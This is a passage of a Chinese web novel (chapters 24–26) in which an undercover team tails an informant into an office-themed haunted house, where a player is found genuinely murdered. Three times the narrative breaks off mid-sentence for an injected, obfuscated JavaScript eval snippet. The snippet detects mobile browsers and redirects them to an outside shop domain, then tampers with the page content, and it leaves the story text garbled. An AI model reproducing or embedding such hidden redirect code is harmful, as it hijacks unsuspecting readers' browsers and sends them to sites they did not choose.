彭嵘大部分时间都在校内活动,每周都会抽出一部分时间到校外做兼职赚取生活费。 地推工作需要接触很多人,姜韫等人怀疑这就是她与某些人暗中取得联系的方式,于是着重盯紧了这一块。 有的时候没有兼职工作,彭嵘也会到校外去,但总是突然神秘消失,不知道去了哪里。 行动组成员顺着她的人脉调查了几个月,目前已经掌握了一部分线索,但仍然没找出有谁能与先前的案子扯上关系。 燕逸岫打开专门归纳了彭嵘相关资料的文件夹,将之前1队成员录下的视频挨个看完。 看完录像后,她闭上酸涩的眼睛,后仰歪歪扭扭躺在沙发上,不动也不出声,像是睡着了。 过了几分钟,她又一个鲤鱼打挺坐起来,将以前的一个视频挑出来重新播放,暂停在她想确认的地方。 画面中彭嵘正在商场里忙着地推宣传活动,转身去给客人拿小礼品时,她正好背对着镜头。 燕逸岫把画面不断放大,直到看清粘在她裤腿后的几根鬼针草种子。 虞阿婆所住村子的村尾,就有一大片鬼针草。 燕逸岫从口袋中拿出虞阿婆交给她的金属盒子,捏在手中翻看端详。 它那尖尖的棱角刺着她的指腹,冰凉锐意随之渗透了进去。 她在拿到这个盒子不久后就开启微系统扫描,确认了里面没有危险物质,才放心地收好保管。 看来,她很快就要再次和虞瓷见面了。 24. 暴露行踪者 温簌顶着蓬乱的长发,打了个长长的呵欠。 视频对面的燕逸岫看着她,很快也被传染,忍不住跟着打起了呵欠。 温簌这两三天都要扮演一个租住于校外的大一学生混在校园里,每天依着彭嵘的作息时间点活动。 彭嵘上课,她就在同一教学楼的空教室里自习,如果是公共课,她也趁机混进去,坐在后排观察对方,彭嵘吃饭她也吃饭,彭嵘夜跑她也夜跑,还有开会、打球…… 模仿这么有活力的人的作息,一天转下来就给温簌累够呛。 早上燕逸岫准备好问题草稿,就给温簌发去消息,想询问几个有关彭嵘的问题。 她本寻思着温簌可能还在睡觉,不料对方早就醒了,收到她的消息立刻回复。 回了一个视频通话。 望着屏幕上弹出的画面,燕逸岫差点把手里的杯子给扔出去了。 好在有之前和乔琅交谈的经历,她至少不会太过惊吓,慌里慌张把列着问题的草稿内容分屏拽到面前,做好准备,接通了电话。 “噩梦般的早八,没想到毕业多年后还要再经历,困死我了,你怎么这么早起床?”温簌正在翻找化妆品,要化一个和昨天不一样的妆。 适当改变容貌,跟踪监视才不容易被发现。 她那双明亮的桃花眼注视着对面的队友。 燕逸岫垂下眼帘,手指在屏幕看不到的地方绞得像麻花:“队长说早上要汇总情报,我提前整理一下思绪。” 任何当众汇报发言类活动都会让她焦虑到睡不着醒得早。 温簌也看得出她有些不擅长社交,边扎起头发边笑吟吟说道:“唉,我没怎么经历过这种事情,说起来也挺紧张的,不过我脸皮比较厚,以后你如果有什么不好意思提的问题,可以偷偷告诉我,我替你在大家面前说。” 人美心善的天使姐姐,我要永远永远缠着你T^T 燕逸岫这么想着,但还是赶紧摇头摆手,哪敢麻烦别人:“不用不用不用,谢谢你……” “对了,你想问什么?” 燕逸岫照着草稿的顺序挨个询问她监视对方行动时是否注意到某些细节,温簌边化妆边认真回忆,一条条回答她。 “没有别的疑问了,谢谢你温簌,等到彭嵘课少了,什么时候有外出,你就通知我一声,我早点准备准备去地下城。” “没问题。” 地下城的一间咖啡厅里一大早就坐满了人,有的在和朋友闲谈,有的埋头工作。 温柔悠扬的纯音乐在屋中飘荡。 身穿西装的人穿过人群径直上楼,来到二层的商务单间,恭恭敬敬敲门进屋。 “老大。” 时间差不多了。所有行动组成员打开群通话开始接收最新的情况汇报。 系统先开了头,提到第十二件案子的目击者唐映清又补充了一条证词——嫌疑人有可能是左撇子,目前警方还在重新比对当天商场内及附近人员的信息。 另外,还有之前燕逸岫遇到的背高尔夫球袋的狙击手,祂根据她对嫌疑人的描述生成画像,放入世界范围的公民资料库进行多方面多次比对,但仍然没有结果。 那个狙击手的信息资料不在大数据库中,不清楚是黑户还是一直用着假身份。 接着是季渊知出声。经过一天的数据分析,她发现川城有一条可能与昆隐棋有关联的线索。 廖怀霖查到昆隐棋名下有几张暗卡,并非以本人信息登记持有,隐藏得很深。季渊知拿到她找出的所有支出收入记录后展开研究,发现其中一张卡在几个月前有过一条消费记录,买了一套昂贵的益智玩具。 她将玩具的照片和另一张人像照一起上传给大家看。 “先前我从怀霖那儿拿到了川城所有居民在各类社交平台上发布的照片视频以及文字内容进行筛查,最后找到了一张照片。” 照片里是个年纪很小的可爱女孩,她手里抱着玩具老虎,对着镜头笑眯了眼。 在她身后,照片的角落处,拍到了几块玩具拼图碎片,从图案、形状、颜色等特征对比,正是与昆隐棋曾经购买的昂贵益智玩具属于同一款。 这家人三代同堂,姥姥石见微曾是一名医生,女儿石见真现在是工程师,照片里的小孩正是石见真的女儿,从目前拓展开的关系网中来看,她们与昆隐棋并不认识,毫无交集,除了那款相同的益智玩具。 季渊知最后说道:“今天我会重点查一下这家人看看。” 姜韫此时靠坐在床头,闻言点了点头:“窃听被反派发现,昆隐棋这条线索已经属于明面上的了,我们可以大胆查。” “昆隐棋家不知道有多少反派的人在监视,怀霖现在还在处理技术层面问题,等她完成后再确定这一行动,如果到时候我恢复得差不多了就由观秋和我去,反正对方早就认得我们1队的脸了。” 在这医疗高度发达的地方,伤病恢复也比原世界快得多,姜韫只休息了一天,伤口就已经不怎么疼了,正在继续飞速愈合。 西装男人将一杯咖啡小心地放在桌上。 “我这几天在考虑一个问题。”座位上正在专心翻阅万德一案报道的人突然说道。 “什么?” “我在想,真的是日月暴露了吗?” 乔琅展示出她梳理的路线图。 狙击发生后,她根据燕逸岫的形容在酒店监控中找到对方,马上收集附近监控开始逆向追查那人的来路。 狙击手是从天均区最北部靠近分界处的高尔夫俱乐部走出来的,再往前就没有看到这个背着高尔夫球袋、身穿休闲服的身影了。 但这点小伎俩骗不过乔琅的眼睛,她很快就辨认出,在俱乐部不远处的地方,下车拖着行李箱进入酒店的白裙女人就是伪装的杀手,面部特征和步行特征完全吻合。 锁定目标后乔琅根据车牌号再继续往前翻监控,最终将位置定在了天烁区九铜路商业街。 但线索也就到此为止了。那人就像昆隐棋一样,突然出现,又彻底失去踪迹。 不过至少掌握了一点可供追查的线索,不算毫无收获。 “日月非常隐蔽,我几乎没有指示她去明处活动几回,她们是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564322|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么发现她还能安上窃听器的?所以我又倒回去把事情捋了一遍,现在我猜……” “我们要尽快查出那名杀手的身份,如果除了那次窃听之外我们就销声匿迹没有再追查相关方向,反派很可能会开始怀疑一开始被跟踪的不是她,而是另有其人,比如欧徽。” “毕竟欧徽暂时不能抓,他说不定还会和反派方的人有不少接触,我们需要他来暗中搜集更多关于昆隐棋和反派的信息,所以今后要小心行事,别让反派察觉到欧徽暴露了。” 姜韫说完,趁着得空吃下机器人医生为她配的特效药,温水送服,把玻璃杯放回桌上。 坐在桌前的人端起咖啡,嗅着飘散开来的醇香气味,慢条斯理说道:“是欧徽那家伙暴露了吧。” “所以不管是跟踪欧徽还是之后查出更多线索的狙击手,出外勤的队员都要注意做好反侦察工作,让系统帮忙掩护,别让反派抓住你们的行踪。” “明白。” 西装男人十分惊讶:“是欧徽那小子?怎么会……” “我记得在那之前你曾和他谈过昆隐棋的事情对吧?” “确实是……可是、可是我确认过没有窃听器的存在,没有人在附近偷听,芯片也没有感应到有人在与外界联系啊。” “或许是你大意了,或许是对方的系统也进化了更高级的能力。” “那我这就去把欧徽叫出来解决了,灭口除掉隐患。” “别急,”他把咖啡轻轻放下,笑意转瞬即逝,“再利用他最后一次,榨干仅剩的价值再解决掉也不迟。” 他又想起屏幕里那双燃着隐约野心的眼。 “要是正好能引出那个人……” 燕逸岫把头发绑起来,戴上棒球帽,边听着谭誉道在警局里做笔录的对话内容。 她先不着急去地下城找虞瓷,而是得耐心等一等温簌和乔琅那边找到的线索,也要等廖怀霖的技术支持出结果才能为昆隐棋的任务做好准备。 所以她这两天的任务是继续盯欧徽,如果重新做笔录的过程中还有出现新证据新线索,她再另作打算安排。 自从上次神秘人给了他一笔不少的钱作为奖赏,欧徽就躺在家里当个悠闲神仙,上网肆意挥霍消费,时不时和朋友出去聚个餐,满大街溜达,好不潇洒惬意。 燕逸岫选定了欧徽家街对面的大厦,找到视野合适的楼层后躲进其中一间仓库,透过窗户观察他家,同时登录打开姜韫暗中装上的监视器画面,注意着他在家中的动向。 第一天监视,没有任何异常情况。 第二天,燕逸岫换了穿衣风格,又戴上一顶长长的假发,再次去了欧徽家附近监视。 这次她选了斜对面的自由自习室大楼,挑了个靠窗位置,假装成学生在埋头苦读,奋笔疾书。 时间就这么一直平淡地流逝直至傍晚,火烧云燃满远天,金红光芒倾洒下来,照得仿佛人间也被翻腾野火吞卷。 躺在床上睡觉的欧徽接起一通电话,几秒后他就手忙脚乱爬起来收拾行头,准备出门。 燕逸岫见状停下了笔。 25. 公司鬼屋大逃亡 她迅速写完笔记拎包走人,去了卫生间里换假发换衣服,并将蚊型追踪器从卫生间窗户放飞,盘旋在欧徽家前待命。 与此同时,燕逸岫联系廖怀霖黑进这一片的监控,以便她和乔琅可以及时定准他的行动路线。 准备完这一切后,等欧徽出发走了三分钟,燕逸岫也离开自习室大楼,远远跟上他。 她操纵着飞在高空的追踪器,开着“宙”的屏幕,低头装作忙着和人发消息聊天,慢悠悠在街上散着步。 这回欧徽没有徒步旅行,而是走到车站坐上了公交。 燕逸岫则打了辆小车跟上。 七兜八转,最后欧徽来到了热闹中心街的一座鬼屋前。 燕逸岫在附近小摊前买冰淇淋,边暗中关注欧徽边搜索鬼屋上的名字。 这是一家以职场为主题的鬼屋,据说内容十分刺激,不算恐怖,玩过的人都说有意思。 只是这个主题和地方……总感觉会勾起打工人的痛苦回忆。 燕逸岫不怕鬼,剧荒时也会看些悬疑片恐怖片解闷,但她从没来鬼屋密室之类的地方玩过。 因为这些活动人多,朋友不玩她就得和陌生人组队,而这简直是要她的命。 欧徽在门口等了十几分钟,直到门口负责售票安检的NPC喊着这是今天最后一组了,他才起身去买票。 难道是要在鬼屋里和某个假扮成NPC的反派人员接触,暗中接收任务安排?或者下一位受害者已经在里面了? “最后一场最后一组,今天提前歇业,还有没有朋友要玩?” 燕逸岫又看到另外几个人匆匆忙忙走上前,于是她赶紧吃掉最后小半块脆筒,扔了纸壳,也迈步跟上,打开“宙”买票。 “祝您玩得愉快。”NPC笑眯眯为她戴上手环。 “谢谢。”燕逸岫点点头,小声应了句。 最后一组总共八人。 除了欧徽,还有一对情侣,一对女生朋友,和两个同样是独自前来的一男一女。 一行人一起走进入口,来到了里面的公司大门,进入其中游戏就正式开始了。 一楼是接待大厅,空旷干净,灯光明亮,没有鬼屋的恐怖氛围。 前台没有人。 燕逸岫站在最左侧,余光凝在欧徽身上。他并没有和同队的任何一人有眼神交流,而是自顾自环视四周在寻找着什么。 鬼屋玩法很简单,从这栋五层楼的公司大楼中找到唯一可通行的逃生出口,用正确的钥匙解锁离开就算成功。 一楼没什么线索,大家一起翻找两遍,都没有找到任何钥匙,也没有遇到恐怖NPC跳出来吓人,于是所有人乘电梯上楼。 目送电梯屏幕上的数字停在2不动了,引导员NPC脸上热情的笑容瞬间消失,他按下按钮合上公司大门,输入密码上了十层锁。 监控室里,两个人正望着空中的数十面屏幕。 “还有五个玩家,这要怎么判断谁是异世界的人?” “这有什么好费心思判断的,”坐着的人神色冷漠,目光随着那些小小的人影移动,冷笑一声,“全杀了就好了。” 电梯停在二楼。 在她们走出电梯还没来得及看清环境时,灯光骤然熄灭。 有几个人开始紧张起来,挨近了身旁的人。 二楼是员工办公室,侧面有厕所、饮水室和仓库,空间很大,现在没了灯,目之所及一片阴森森的,门上墙上有几个血淋淋的手印和五官,都是恐怖片常见元素。 燕逸岫对这些毫无波澜,只时刻关注着欧徽的举动。 他正四下张望着。 “走吧,我们去里面找钥匙。”一个亚比打扮的酷妹最先说话,兴冲冲来到办公室玻璃门门外。 墙上安装了一台打卡机。 “是要刷脸才能进门吗?” 欧徽似乎着急通关,率先凑到虚拟屏前让机器感应自己额头里的“ME”芯片。 屏幕闪烁起绿光,玻璃门打开了,大家怀着紧张期待的心情陆续走进去。 宽阔的办公室里挤满一格格工位,宛如蜂巢,每个工位上都有一架沾着血迹的眼球,360度旋转着监视每一个角落,监督员工认真上班工作。 屋里没有半个人影,其中几片悬浮屏还缓慢闪烁着青白光芒,表示有人还没下班离开。 “大家开始分头找钥匙和出口吧。” 燕逸岫走到其中一个屏幕亮着的工位上,手背贴在椅子边角探探温度。 有残留的温度,不久前还有人坐过。 大概是现在已经藏起来准备吓人的NPC。 燕逸岫弯下腰,没瞧见有人躲在桌底,于是放心地翻起这个人工位上的东西。 水壶,外套,纸巾,餐盒,零食…… 水里没有东西,外套口袋也都是空的。 虽然觉得有些冒犯,燕逸岫还是打开了餐盒,用筷子拨拉米饭和肉菜,希望能从里面找到什么东西。 饭还是满的热的,但燕逸岫皱起了眉,因为她闻到了一股隐隐约约的馊味。 接着她抬起目光望向屏幕,浏览这位员工的工作内容。 是设计岗的员工,屏幕上打开的文件夹里有密密麻麻一连串标题相似的文件。 《七月海报第一版》 《七月海报第二版》 《七月海报终版》 《七月海报最终版》 《七月海报最终版1》 …… 最新一版名为《七月海报最终版208》,燕逸岫抬手点击,想看看里面会不会有什么线索。 就在这时,地面的一块板被悄然掀开,黑影从里面探出头,瞬间抓住了燕逸岫的脚踝。 燕逸岫被吓了一跳,低头看去,发现是个唇色苍白黑眼圈重披头散发满脸苦大仇深的人。 她瞪大满是红血丝的双眼,直勾勾盯着燕逸岫。 “还要改?还要怎么改!有完没完!?已经改到深夜了!还让不让人回家了?” “我要回家,我要回家,我要回家我要回家我要回家我要回家——” 她用力抓紧燕逸岫的小腿,试图把她一起拽下去。 “我不是……”燕逸岫连忙扶住桌子借力稳住,想要收回腿。 但藏在地下的人似乎是悬在空中,身体全部重量都挂在燕逸岫腿上,让她没办法甩掉。 在附近找线索的人也陆续遭遇突然冒出的NPC纠缠,一个个都慌得自顾不暇,没办法帮到别人。 眼看快要跪倒被拽进去,燕逸岫灵光一闪,立刻对正在恨声叫嚷着的打工人说道:“不改了,就这版,就这版很完美!你快下班回家吃饭吧!” 听到她的话,NPC终于停下动作,接着发出诡异又疯癫的笑声,眼中流出血泪。 “不用改了……哈哈哈,我解放了……哈哈哈我解放了我解放了……” “我可以下班了……” 她边笑着,再次像条蛇一样潜入地下,消失不见。 燕逸岫转了转被拽得差点抽筋的腿,松了口气。 NPC这酣畅淋漓的演技不去拍戏真是屈才了。 解决完眼前的麻烦,她扫视四周寻找欧徽的身影。 他被从柜子里钻出来的职员吓得魂飞魄散,正大喊大叫着满屋子疯跑。 “都怪你,都怪你,都怪你,你擅自乱动我的电脑,我的文件还没保存!全没了!全没了!你为什么不Ctrl+S!” “对不起对不起对不起我不知道啊——”欧徽吱哇乱叫,不慎撞倒了墙边早已枯死的发财树。 一个个职员在忽明忽灭的灯光中悄然出现,飘荡着嘶吼着,吓得大家四处逃跑。 第一轮突袭很快结束了,NPC们折磨完玩家后又默默消失隐匿。 办公室重归寂静,灯光依旧诡异乱闪,工位上亮着的屏幕时不时闪出几张鬼脸,发出凄厉尖叫。 这才不到五分钟的时间,就有人坚持不下去了。 一个男生还在大口喘气,崩溃地抓头发:“我不行了,我不玩了,我要回去,你们自己玩吧,我受不了了,我要先退场。” 说着他就打开“宙”,想要联系工作人员,让NPC带他离开。 然而他刚打开界面,一张半边脸溃烂爬着蛆的虚拟脸就浮现在他眼前。 “啊——”他顿时惊声尖叫,胡乱挥舞手臂试图把这张脸推开,但他的手径直穿透虚拟屏,没有造成任何损坏,那张脸仍然一动不动浮在他面前。 “快走开啊啊啊啊!” 一道机械声在办公室里传开:“上班期间不允许使用‘宙’,不许玩游戏,不许与人闲聊,只能使用公司设备处理工作,违者一经发现,即刻重罚。” 说话声消失后,一阵诡异的爬行声在天花板和地下响起,似乎越来越近。 “什么东西……” “快走快走,先出去!” “还是先不要留在这里了!” 众人反应过来,接连奔向办公室玻璃门。 出门也需要刷脸。 在她们快要跑到打卡机前时,一个穿着残破西装的NPC像鬼一样飘到她们面前,挡住去路。 他满脸是血,皮肉糜烂,胸口破开了一个大洞,掉出来的心脏摇摇欲坠。 “为什么你们几个到点就走?” 所有人傻眼了,呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566014|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在原地不知该做什么反应。 他凸出的眼球来回转动,怒视着每个人:“别人都在加班努力工作,为什么你们到点就下班?天天这么闲?” “不像话……不像话……” 他突然从背后抽出一把斧头,锋利的刃边在时不时亮起一瞬的灯光下闪着光芒。 “你们没看群里8:29发布的新规吗?从今天开始每个人自愿加班三个半小时,你没看?你没看?你也没看!” “果然你们没有看,你们都没有在群里回复收到!” “你们这种不上进的员工……就该受惩罚!” NPC瞬间青筋暴起,目露凶光,他抡起斧头,开始追着这些不爱加班的员工乱砍。 神经病啊! 燕逸岫和大家一起果断转身逃命,一边跑一边翻白眼。 这家鬼屋绝对是哪个牛马社畜辞职后开起来报复社会的,这群NPC净说些让人想死的话。 别的就算了,这个老板NPC…… 燕逸岫咬牙切齿,忍不住攥紧拳头。 是真的让人很想暴揍一顿…… 新一轮的叫喊声和碰撞声在屋中此起彼伏。 燕逸岫在工位间上蹿下跳躲避斧子,留意着老板NPC的追杀方向还有欧徽的位置。 欧徽此时离大门并不远。 眼见NPC转移注意力去追另外一对情侣了,燕逸岫立刻拽住身旁亚比装扮的酷妹和她的朋友,低声说道:“走!趁现在快去开门!” 被吓懵的酷妹还有些晕头转向,被燕逸岫扯着跑了几秒才回过神来,迈开大步没命狂奔。 快到门边时,燕逸岫故意减缓速度跑得慢了点,让酷妹两人先到达门边刷脸。 她下意识不想留下自己的照片,尽管这张脸已经做过部分伪装。 此时打卡机上闪烁起的绿光如神圣天光,给了她们生存下去的希望。 门缓缓开启。 “别想跑!谁允许你们下班了?给我留下来加班!不然我就扣工资!给我回来!” 发现有人逃出去了,老板NPC更是歇斯底里,撒手不再管已经揪住的另一个人,大步追上去。 刚躲起来的欧徽也急急忙忙跑了出去。 办公室里的其余人也抓住机会离开,也有胆大的则躲了起来,准备继续留在这里找钥匙。 燕逸岫跑出去后就打算和酷妹两人分开,毕竟她的任务是盯着欧徽,不能离他太远,否则可能错过有用的线索。 这时酷妹的朋友因为跑得太急,左脚绊右脚差点扑倒在地,一旁的燕逸岫眼疾手快把人扶住站好。 只一瞬间没注意,欧徽就不见了。 四周都是急匆匆的奔跑脚步声,她没办法马上辨认出来他在哪个方向。 更麻烦的是,老板NPC已经扛着斧头出现在她们身后了。 心脏已经彻底掉了,现在被他咬在嘴里咀嚼,鲜血淋漓,滴滴嗒嗒淌下来沾湿衣领。 “你们这一个个不为公司发展着想的懒虫……” “快跑啊!” 燕逸岫推着两人先往前逃,她假装落单吸引老板NPC的注意,引导他跟着自己的路线。 她飞似的从楼梯滑下去,拔腿狂奔,横穿一楼大厅再从右侧楼梯回到二楼。 也不知道欧徽现在躲到哪里去了,燕逸岫只好假装在躲NPC,一层层去找人。 边盘算着接下来的计划,燕逸岫一转身,发现对面楼梯间那儿露出了一双脚。 她怀疑是哪个NPC躲在那儿准备吓人,本不打算理会,换条路悄悄离开,但却又很快停下步伐。 等等,那双鞋…… 燕逸岫忽然觉得不太对劲,又改变主意走过去查看。 一个人靠坐在墙角,瞪大双眼,心口处插着把匕首,刀刃全部没入胸膛里。 这身衣服和这张脸她有印象,他也是玩家之一,是那个单独来玩的男生。 他其实是NPC假扮的? ……不对,不是NPC,这不是演的。 燕逸岫俯身查看他的瞳孔,手指伸到鼻下探他的呼吸,又嗅一了嗅空气中的血腥味。 他是真的死了。 燕逸岫难以置信地收回手,起身一步步后退,眉头紧锁,飞快思考着当下局面。 怎么回事?真的死人了? 一滴冰凉的液体落在她额头,顺着碎发流淌下来,打断她的思绪。 燕逸岫伸手擦了擦,移到眼前。 手背殷红一片。 燕逸岫愣住,旋即抬头望向天花板。 一个笑脸画在白墙上面,旁边留有五个字。 欢迎新朋友。 26. 遵守游戏规则 熟悉的笑脸,熟悉的话。当初被杀的行动组成员身旁就留下了这两样。 燕逸岫瞬间就想明白了来龙去脉。 欧徽已经暴露了。 他是诱饵,也是弃子。 她和欧徽,反派都没打算放人活着离开。 如今大家都已经分散行动,欧徽也不知道跑哪去了,说不定已经被解决掉了。 麻烦的是,她不清楚反派的人在NPC里还是玩家里,或者两边都有。 还有一点要考虑,就是她要不要暴露自己去保护欧徽这个相关证人,如果他目前还活着。 反派必然在监视着鬼屋里的游戏进展,她一旦表现出保护欧徽的架势,就会立刻被对方盯上。 这样一来她又要保护欧徽又要保护自己又要防NPC又要防玩家。 对方为了保证成功肯定派了不止一个杀手,她恐怕兼顾不过来,三头六臂都不够她使。 又一滴血落下来,砸在她手背上,又冷又重。 逐渐靠近的脚步声打断了她混乱的思绪。 她赶紧装作刚刚回过神似的,发出惊慌的叫喊声,后退靠到墙上,害怕得两腿发抖。 “死人了!杀人了!” 听到这句话,那阵脚步声更加急促,越来越近。 出现在燕逸岫眼前的是那对情侣中的寸头男生,他满脸疑惑地探出身子观察情况。 燕逸岫哆哆嗦嗦指了指地上的尸体。 “什么啊,装的吧,”他不以为意,撇嘴想踢一踢对方的腿,“老掉牙的套路而已……” “别碰,他是真的死了,你接触他留下痕迹的话也会被当成嫌疑人的。”燕逸岫马上出声制止他。 瞧着她紧张严肃的神情不似作假,寸头男又弯腰仔细看了看尸体的面容,慢半拍反应过来后,肉眼可见地瞬间慌了手脚,立刻后退远离。 “喂,不是吧,这这这、这不是只是个游戏吗?怎么会……” 燕逸岫点点头补充:“玩家或NPC里有杀人犯,我们这最后一组成了倒霉鬼,可能没法活着出去了。” 刚才她横穿一楼的时候,瞥见了公司大门紧闭。反派设下这一圈套逮她,必然早早堵死了逃生的路。 “那得赶紧逃啊!完了,小瑞、小瑞去哪了我还没找到她……” “叮——” 这时,电梯降至二楼停下。 清脆悠长的提示音在走廊回响。 两人对视一眼,二话不说赶紧跑上楼梯逃往三楼。 寸头男边跑边启动宙想要联系女朋友提醒她注意安全,问清她的位置。然而他刚打开屏幕,一张泡得肿胀、被啃食了大半张脸的人像骤然贴到了他面前。 “哇啊啊啊——” 他猝不及防受到惊吓,脚下踩空,后仰往楼梯下跌去。 先他两步的燕逸岫回过头看,立刻一手抓紧栏杆作为支撑,屈膝站稳,探身抓住他的胳膊,用力把人拽回来,扯着他跑上三层。 “鬼屋规定了使用通讯系统会被惩罚,不能打开,而且信号已经被屏蔽了,没有用的,我试过。” “我、我一下子忘了,那怎么办,小瑞怎么办?” 燕逸岫松手后扫视四周观察环境,边说道:“什么怎么办怎么办,赶紧去找啊,碰到人就提醒她们有杀人犯混在里面,让大家自己注意安全,还有赶紧找钥匙和出口。” 说完燕逸岫就不再管他,自行离开。 现在完全不知道她们每个人的真实身份,还是先单独行动比较保险。 “宙”目前无法使用,它会触发游戏机制,吓人是一回事,鬼影发出的声音还会引来NPC,让情况更糟糕。 燕逸岫试着启动微系统发送消息,但连微系统也变得断断续续。 她在心里默念呼唤着系统,然而祂迟迟没有出现。 这大概就是反派系统施展出的特殊能力,连同样是系统的异能辅助都能屏蔽。 燕逸岫边走边想,说不定反派就是利用这一手段隐藏自己的行踪进行杀人,才让我方系统无法感知到他的存在。 燕逸岫简单描述了地址和当下情况,将信息重复发送十几遍,希望有一条能在某一时刻成功发送出去,让队友们了解到她目前的处境。 三楼是总经理等高层职员的办公场所,接待处的装潢和设备都比二楼基层员工的更高级,虽然此刻也是灯光晦暗,鬼气森森。 接待台上的虚拟屏也亮着,照出一方明亮角落。 燕逸岫走上前查看,映入眼帘的是一行龙飞凤舞的小字。 公平至上,你我都遵守游戏规则,寻找钥匙和出口的游戏不变。你成功离开,你赢,你在此丧命,我赢。 是反派留给她的话。 燕逸岫盯了这段话几秒,转身就走。 既然要和反派比输赢,她当然不可能轻易认命。 走廊旁每间单人办公室都是木质门,看不到里面的陈设。 燕逸岫拍拍自己的脸做心理建设。 本来是不怕鬼屋不怕单纯吓唬人的NPC,但现在一想到其中某几个NPC或玩家是反派的手下,是真实存在潜伏于人群里的“鬼”,是揣着真刀真枪来杀人的,燕逸岫难免觉得有些头疼。 她边走边记下环境,在头脑中一点点建起这栋楼的详细立体构造图。 不远处又一阵叫喊传开,伴随着凌乱的脚步声和东西掉落四散的声响。 其中一间木门被猛地拉开,三个人影接连从里面冒出来。 是亚比酷妹和她的麻花辫朋友,尾随其后的是半个脑袋开了瓢的西装NPC,看模样似乎是总经理的身份。 “日报!你们没写日报!没写日报和日报字数少于500字的都要扣工资!”他愤怒地咆哮。 燕逸岫还没看清,也来不及说话,就被这两个埋头猛冲的女生顺带一起拉进了后面的女卫生间。 “你们都没写日报!马上出来开会做检讨!” 沉重的门砰然关闭。 酷妹锁上女卫生间的门后,三个人都松了一口气。 “吓死我了,”酷妹摇摇晃晃往前走几步,扶着膝盖长长呼吸,又笑出了声,“真的很刺激啊,只不过钥匙有点难找,我到现在一把都还没找到。” 燕逸岫赶紧三言两语把自己所见告诉了两人。 “你不是在开玩笑吧?”看起来胆子不如酷妹大的麻花辫女生顿时有些站不稳,她按住洗手池台面撑着,惊慌失措地看向朋友,“怎么会这样?杀人犯混进来了?” 酷妹也懵了,她看得出燕逸岫不是在逗她们玩,也没理由开这种可怕的玩笑。 “我想想怎么办、我想想……” 她在隔间前走来走去,脸色发白。 这时门外突然响起一阵轻轻柔柔的拍门声,三人同时看向那扇门。 外面的人不说话,只沉默地连续拍着,拉动把手前后摇晃,试图进来。 动作平静缓慢不急躁,这不像是正在逃跑躲避NPC的玩家会有的反应。 另外两个女生一人一边挽住了燕逸岫的胳膊,紧紧靠在一起。 “该不会……外面的是……” 燕逸岫心里也直打鼓,抿着唇眯起眼思索,戒备地绷紧了四肢。 门外的动作很快就停了,似乎已经放弃企图离开去找别人了。 但燕逸岫能感觉到对方仍然留在门口没走。 在死一般的寂静中,她听到了那第四道呼吸声的位置一点点变低。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575808|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了愣,目光飘向地面,看到了底下的那道门缝。 ta趴在地上透过门缝往里面窥视。 燕逸岫瞬间头皮发麻,好在她们都站在靠左侧的洗手池前,从对方的角度应该看不清楚。 十几秒后,她感觉到对方再次起身,悄无声息离开了。 见对方没打算使用粗暴手段毁坏大门闯进来,燕逸岫稍稍放心:“这样吧,我们顺便先在厕所里找找有没有钥匙,等NPC走远了我们再出去。” “也好。” 灰蒙蒙的灯倾泻着幽绿暗光,肮脏的水池散发出怪味,年久失修的水龙头里,一滴滴血水渗出砸了下来,零星血滴向四周飞溅,沾满池面,宛如密密麻麻的卵在等待孵化。 燕逸岫查看了每个马桶的水箱、隔板木板上方下方、还有堆着拖把水桶等东西的杂物间,都一无所获。 没过多久,当三人还在认真寻找钥匙时,厕所大门突然自动解了锁,缓缓打开。 外面空荡荡的。 “什么?”正在水池旁摆弄水龙头的酷妹被这突如其来的情况吓呆,“我、我没动到什么机关啊?!” 机械声在空中飘荡:“公司规定,上厕所时间不得超过五分钟,超时未出卫生间者,即刻重罚。” 卫生间放置杂物的窄小空间里,一道暗门突然打开,蹿出了一个满身是血的保洁阿姨,她挥舞着血淋淋的木棍,气势汹汹打来。 燕逸岫眼疾手快抓住呆在原地的酷妹往后拽,惊险躲开了对方的攻击。 木棍砸在她刚站着的位置,一声清脆巨响刺入耳中,连空气都因此震颤起来。 “我天,这么狠?真打伤了你们赔吗!”酷妹对此感到震惊,不禁恼火地冲她嚷嚷,但随即她想到了什么,又抱着燕逸岫连连后退,“她她她她就是杀人犯吧?” 厕所空间不算大,不好躲避,而且对方堵住了唯一能逃出去的路。 麻花辫女生拉开身旁厕所隔间的门,率先钻到里面,催促她们:“还是到里面来躲吧!” 燕逸岫把酷妹推进去,随即合上了门,自己单独留在外面:“我来引开她,你们锁好门先待着别动。” 她转过头看向NPC,试图解释当下危险情况:“有人被杀害死在外面了,游戏先暂停吧,我们……” 